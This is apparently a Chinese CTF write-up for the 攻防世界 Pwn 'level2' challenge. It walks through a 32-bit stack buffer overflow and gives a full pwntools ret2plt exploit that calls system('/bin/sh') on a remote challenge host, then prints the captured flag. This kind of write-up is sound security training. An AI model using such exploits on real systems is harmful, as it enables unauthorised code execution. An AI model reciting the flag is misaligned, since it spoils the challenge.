攻防世界 Pwn level2
1.file 和 checksec 先走一遍
- 是一个32位的文件
- 看到 RELRO的状态是 Partial
- 没有canary也没有pie
- 直接静态调试一下即可
2.放进IDA32看一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}
- 有一个system函数
- 进入vulnerable_function看一下
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:");
return read(0, buf, 0x100u);
}
- read函数允许最大输入是0x100,数量足够大,所以buf可以溢出
- 看看buf的溢出大小
-00000088
-00000088 buf db 136 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
- 136byte的buf再加上4byte的数据溢出返回system的地址
- 本题开始前就提示我们用ROP
- 看一下plt表
.plt:08048320 ; Attributes: thunk
.plt:08048320
.plt:08048320 ; int system(const char *command)
.plt:08048320 _system proc near ; CODE XREF: vulnerable_function+11↓p
.plt:08048320 ; main+1E↓p
.plt:08048320
- 看到了plt中有system
- 我们写exp时直接用 elf.plt()函数即可
3.利用思路
- 利用read函数修改rbp下的ret地址执行system
- 并且我们要控制程序执行 “/bin/sh”
- 这个时候要学一下32位程序传参
+--------+------------------+
| rbp | rbp_addr | <----------栈底指针
+--------+------------------+
| rip | rip_addr | <----------函数执行完之后将要返回的地址
+--------+------------------+
| argv1 | argv1_addr | <----------参数1
+--------+------------------+
| argv2 | argv2_addr | <----------参数2
+--------+------------------+
| ··· | ··· | <----------参数N
- 这个是栈上执行完被调用函数返回的过程
- 但是我们利用这个思路构造rop时要注意我们不是使用的call命令执行危险函数
- 所以并不会帮我们自动分配危险函数的返回地址
- 因此当我们调用system@plt时
- 按照汇编的执行顺序
- 现在参数1的位置会变成危险函数的返回地址
- 参数二的位置才是危险函数的第一个参数
- 因此我们构造的时候要把这个危险函数的返回地址填上垃圾数据覆盖掉
4.编写exp
先构造paylod
system_plt = elf.plt["system"]
bin_sh = next(elf.search(b"/bin/sh"))
payload = b'a' * (0x88 + 4)
payload = payload + p32(system_plt)
payload = payload + b'a' * 4
payload = payload + p32(bin_sh)
看一下exp
from pwn import *
elf = ELF("./level2")
p = remote("111.200.241.244" , 64128)
#p = process("./level2")
system_plt = elf.plt["system"]
bin_sh = next(elf.search(b"/bin/sh"))
payload = b'a' * ( 0x88 +4) # 覆盖的垃圾数据
payload = payload + p32(system_plt) # system的地址
payload = payload + b'a'*4 # system的返回地址
payload = payload + p32(bin_sh)
p.recvline("Input:")
p.sendline(payload)
p.interactive()
运行一下
直接cat flag
cat flag
得到flag
cyberpeace{2e8cd94fcdd38cd0eebd6da2236c90ee}